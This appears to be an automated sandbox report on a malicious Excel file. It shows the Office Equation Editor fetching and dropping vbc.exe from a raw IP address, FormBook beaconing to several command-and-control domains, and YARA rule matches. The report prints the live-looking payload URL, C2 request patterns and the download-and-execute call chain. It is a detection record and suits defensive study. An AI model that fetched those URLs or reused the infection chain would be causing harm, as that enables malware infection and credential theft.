2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a c4 e3 b7 c3 ce ca b5 c4 d2 b3 c3 e6 b2 bb b4 e6 d4 da a1 a3 a1 a3 a1 a3 a1 a3 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e b7 b5 bb d8 d6 f7 d2 b3 3c 2f 61 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><title>404</title></head><body><script type="text/javascript" src="http://www.qq.com/404/search_children.js" charset="utf-8"></script> <a href="/"></a></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.33.31

Source: EQNEDT32.EXE, 00000002.00000002.971169653.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.comI equals www.linkedin.com (Linkedin)
Source: explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EQNEDT32.EXE, 00000002.00000002.971169653.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: EQNEDT32.EXE, 00000002.00000003.965529883.000000000069F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.971155692.0000000000614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.33.31/75/vbc.exe
Source: EQNEDT32.EXE, 00000002.00000002.971169653.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.33.31/75/vbc.exehhC:
Source: EQNEDT32.EXE, 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.33.31/75/vbc.exej
Source: explorer.exe, 00000007.00000000.1019001210.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000007.00000000.1002666378.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1013668691.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987463159.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069523800.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com
Source: explorer.exe, 00000007.00000000.1005695015.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000007.00000000.1005695015.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, 00000004.00000000.968426551.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000007.00000000.1070008053.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000007.00000000.1008792318.0000000006450000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000007.00000000.1005695015.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000007.00000000.1019001210.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000007.00000000.1019001210.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000007.00000000.1005695015.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000007.00000000.1070008053.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000007.00000000.1002666378.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1013668691.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987463159.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069523800.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000007.00000000.1019001210.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000007.00000000.1005695015.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000007.00000000.1019001210.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000007.00000000.1022782803.00000000084C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1023411873.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1015998007.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1000541349.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1023540631.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1071039162.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.992782338.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1018121045.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1074287002.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.999862011.0000000008512000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069574104.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.995167898.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1004984463.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1007078757.0000000004385000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000007.00000000.1011703149.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1000245149.0000000008611000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner1SPS0
Source: explorer.exe, 00000007.00000000.1022834782.0000000008512000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1023411873.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1000541349.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1023540631.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1018121045.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1074287002.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.999862011.0000000008512000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069574104.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.995167898.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1007078757.0000000004385000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.1015998007.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1071039162.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.992782338.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1004984463.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerq
Source: explorer.exe, 00000007.00000000.1018121045.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1074287002.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.995167898.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1007078757.0000000004385000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000007.00000000.1002666378.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1013668691.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987463159.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069523800.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000007.00000000.1002666378.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1013668691.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987463159.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069523800.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000007.00000000.1002666378.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1013668691.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987463159.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069523800.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\77AC4BD4.emf

Jump to behavior

Source: unknown

DNS traffic detected: queries for: www.arjimni.com

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_036D04FF URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_036D04FF

Source: global traffic	HTTP traffic detected: GET /75/vbc.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.168.33.31Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /nc39/?dZzp=SWFeU2CogosqNHNVddu3ZSSiHhx9YO5iIr2cqOlbYRvwZbqC6rJ+ufxHmetPGTnqGTEg+w==&3f=j6AdrVwh HTTP/1.1Host: www.arjimni.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /nc39/?dZzp=CWrF3poHj2MNQw4FqfZfOWFDC9Dy9qwGAafxJUMNhkwMJpF8RUBmV1WHKbaf9sKHKobluA==&3f=j6AdrVwh HTTP/1.1Host: www.contractornurd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /nc39/?dZzp=Td3Z6WACWlvn2oxJ5kz3cAAvTYM+vx9a0mv4ko18Io/mhbtUurGZKYFJi0A4+N8FDsGh8g==&3f=j6AdrVwh HTTP/1.1Host: www.tw-life.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /nc39/?dZzp=SW2DOu4AoD1tt2PaEEhiNvSk2qD2OpQeAcSR0NEUE8SsNGniN/+F24NqGXKX7Cj1ljS/6Q==&3f=j6AdrVwh HTTP/1.1Host: www.yiwanggkm.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0040580F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

4_2_0040580F

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 6.0.yldnat.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.yldnat.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.yldnat.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.yldnat.exe.120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.yldnat.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.0.yldnat.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.yldnat.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.yldnat.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.yldnat.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.yldnat.exe.120000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.yldnat.exe.120000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.yldnat.exe.120000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.yldnat.exe.120000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.yldnat.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.yldnat.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.yldnat.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.yldnat.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.yldnat.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.yldnat.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.yldnat.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.yldnat.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: 6.0.yldnat.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.yldnat.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.yldnat.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.yldnat.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.yldnat.exe.120000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.yldnat.exe.120000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.yldnat.exe.120000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.yldnat.exe.120000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
